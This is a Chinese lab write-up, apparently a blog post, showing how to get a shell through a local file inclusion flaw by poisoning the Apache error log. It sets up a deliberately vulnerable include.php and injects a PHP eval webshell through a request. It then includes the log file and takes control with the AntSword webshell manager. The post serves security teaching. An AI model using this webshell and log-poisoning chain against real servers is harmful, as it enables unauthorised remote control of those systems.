【文件包含漏洞04】当服务器仅存在本地文件包含漏洞时,如何GetShell?

1 实验介绍

  1. 实验要求:假设攻击者已经知道服务器存在且仅存在本地文件包含漏洞,没有文件上传漏洞点及其他漏洞,如何GetShell。
  2. 实验目的:利用本地文件包含漏洞GetShell。

2 实验环境

2.1 靶机

  1. 概况:win2008虚拟机系统,部署phpstudy平台,IP地址为192.168.1.4。
  2. 查看靶机PHP版本。需要查看所搭建的服务器的PHP版本,下一步修改其配置。
    在这里插入图片描述
  3. 打开phpstudy安装文件夹,找到PHP-5.4.45版本对应文件夹,将文件php.ini中的allow_url_include参数设置为On,修改后记得保存并重启服务器。
    在这里插入图片描述
  4. 在网站根目录下新建一个test文件夹,在文件夹内新建一个txt文件,输入以下内容,并重命名为include.php。
<?php
$path = $_GET['path'];
echo "<h1>This is include.php!</h1>";
include ($path);
?>

2.2 攻击机

真实机上安装BurpSuite和中国蚁剑,相关软件的安装参考《BurpSuite简介及安装》、《中国蚁剑V2.0下载安装到上手》。

3 实验步骤

  1. 思路:由于没有存在文件上传点,而我们又需要服务器本地有个文件存在一句话木马代码,这时候我们想到,利用日志文件记录报错的方法,来往日志文件中“写入”一句话木马,然后再利用文件包含来执行日志文件中的一句话木马。
  2. 将访问include.php页面的URL链接复制,在BurpSuite的repeater模块中右键将URL黏贴为请求,点击发送,可以看到成功接收到响应,只是因为没有传递给path变量,所以提示出错。
    在这里插入图片描述
  3. 修改请求为一句话代码<?php @eval($_REQUEST[111]);?>,点击发送,可以看到响应报错。
    在这里插入图片描述
  4. 服务器在请求报错后,在错误日志中就会增加一条响应记录。在靶机上我们打开Apache的错误日志,路径为C:\phpStudy\PHPTutorial\Apache\logs\error.log,可以看到新增了一个错误信息,并且该代码没有被引号所包括,能够被文件包含无条件执行。
    在这里插入图片描述
  5. 真实机中打开中国蚁剑,添加数据http://192.168.1.4/test/include.php?path=C:\phpStudy\PHPTutorial\Apache\logs\error.log,密码为111,点击添加。
    在这里插入图片描述
  6. 添加后双击新建的链接,可以看到成功管理服务器。
    在这里插入图片描述

4 总结

  1. 思路:第一步利用一切可能让服务器本地某个文件中含有一句话木马;第二步文件包含之让代码执行。
  2. 思考:如果错误日志不是在默认位置,应该如何找到或者是否有其他途经?
  3. 思考:如果靶机存在远程文件包含漏洞,攻击者在服务器2号上写一个一句话木马文件,利用靶机远程文件包含该文件,并不能Get靶机Shell。后续应更加深入理解一句话木马的控制原理,以判断为什么无法实现,初步认为shell代码是在服务器2号上执行的。
  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值